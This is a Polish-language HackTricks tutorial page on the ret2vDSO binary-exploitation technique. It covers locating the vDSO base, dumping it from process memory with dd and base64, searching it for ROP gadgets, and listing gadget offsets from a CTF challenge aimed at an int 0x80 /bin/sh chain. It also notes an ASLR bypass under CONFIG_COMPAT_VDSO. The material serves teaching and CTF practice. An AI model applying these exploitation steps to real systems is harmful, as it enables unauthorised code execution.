Ret2vDSO
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Podstawowe informacje
Mogą występować gadgets in the vDSO region, które są małym ELF DSO mapowanym przez kernel, aby zapewnić szybkie implementacje po stronie użytkownika niektórych kernel helpers. W tego typu zadaniach zwykle dostarczany jest obraz kernela, aby zrzucić region vDSO.
Locating the vDSO base and exports
Adres bazowy vDSO jest przekazywany w auxiliary vector jako AT_SYSINFO_EHDR, więc jeśli możesz odczytać /proc/<pid>/auxv (lub wywołać getauxval w procesie pomocniczym), możesz odzyskać bazę bez polegania na memory leak. Zobacz Auxiliary Vector (auxv) and vDSO dla praktycznych metod jej uzyskania.
Mając bazę, traktuj vDSO jak zwykły ELF DSO (linux-vdso.so.1): zrzucenie mapowania i użycie readelf -Ws/objdump -d (lub referencyjnego parsera kernela tools/testing/selftests/vDSO/parse_vdso.c) pozwoli rozpoznać eksportowane symbole i wyszukać gadgets. Na x86 32-bit vDSO zwykle eksportuje __kernel_vsyscall, __kernel_sigreturn oraz __kernel_rt_sigreturn; na x86_64 typowe eksporty to __vdso_clock_gettime, __vdso_gettimeofday oraz __vdso_time. Ponieważ vDSO używa wersjonowania symboli, dopasuj oczekiwaną wersję przy rozwiązywaniu symboli.
Śledząc przykład z https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/ można zobaczyć, jak udało się zrzucić sekcję vdso i przenieść ją na hosta za pomocą:
# Find addresses
cat /proc/76/maps
08048000-08049000 r--p 00000000 00:02 317 /target
08049000-0804a000 r-xp 00001000 00:02 317 /target
0804a000-0804b000 rw-p 00002000 00:02 317 /target
f7ff8000-f7ffc000 r--p 00000000 00:00 0 [vvar]
f7ffc000-f7ffe000 r-xp 00000000 00:00 0 [vdso]
fffdd000-ffffe000 rw-p 00000000 00:00 0 [stack]
# Dump it
dd if=/proc/76/mem of=vdso bs=1 skip=$((0xf7ffc000)) count=$((0x2000))
8192+0 records in
8192+0 records out
8192 bytes (8.0KB) copied, 0.901154 seconds, 8.9KB/s
# Compress and leak it
gzip vdso
base64 vdso.gz
# Decompress and check of gadgets
echo '<base64-payload>' | base64 -d | gzip -d - > vdso
file vdso
ROPgadget --binary vdso | grep 'int 0x80'
ROP gadgets znalezione:
vdso_addr = 0xf7ffc000
int_0x80_xor_eax_eax_ret_addr = 0x8049010
bin_sh_addr = 0x804a800
# 0x0000057a : pop edx ; pop ecx ; ret
pop_edx_pop_ecx_ret_addr = vdso_addr + 0x57a
# 0x00000cca : mov dword ptr [edx], ecx ; add esp, 0x34 ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
mov_dword_ptr_edx_ecx_ret_addr = vdso_addr + 0xcca
# 0x00000ccb : or al, byte ptr [ebx + 0x5e5b34c4] ; pop edi ; pop ebp ; ret
or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb
# 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret
pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd
Caution
Zwróć uwagę, że może być możliwe obejście ASLR wykorzystując vdso jeśli kernel jest skompilowany z CONFIG_COMPAT_VDSO, ponieważ adres vdso nie będzie losowany: https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639
ARM64
Po zrzuceniu i sprawdzeniu sekcji vdso binarki w kali 2023.2 arm64 nie znalazłem tam żadnego interesującego gadgetu (brak możliwości kontrolowania registers za pomocą wartości na stacku lub kontrolowania x30 dla ret) oprócz sposobu wywołania SROP. Sprawdź więcej informacji w przykładzie na stronie:
Referencje
- https://man7.org/linux/man-pages/man7/vdso.7.html
- https://www.kernel.org/doc/Documentation/ABI/stable/vdso
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


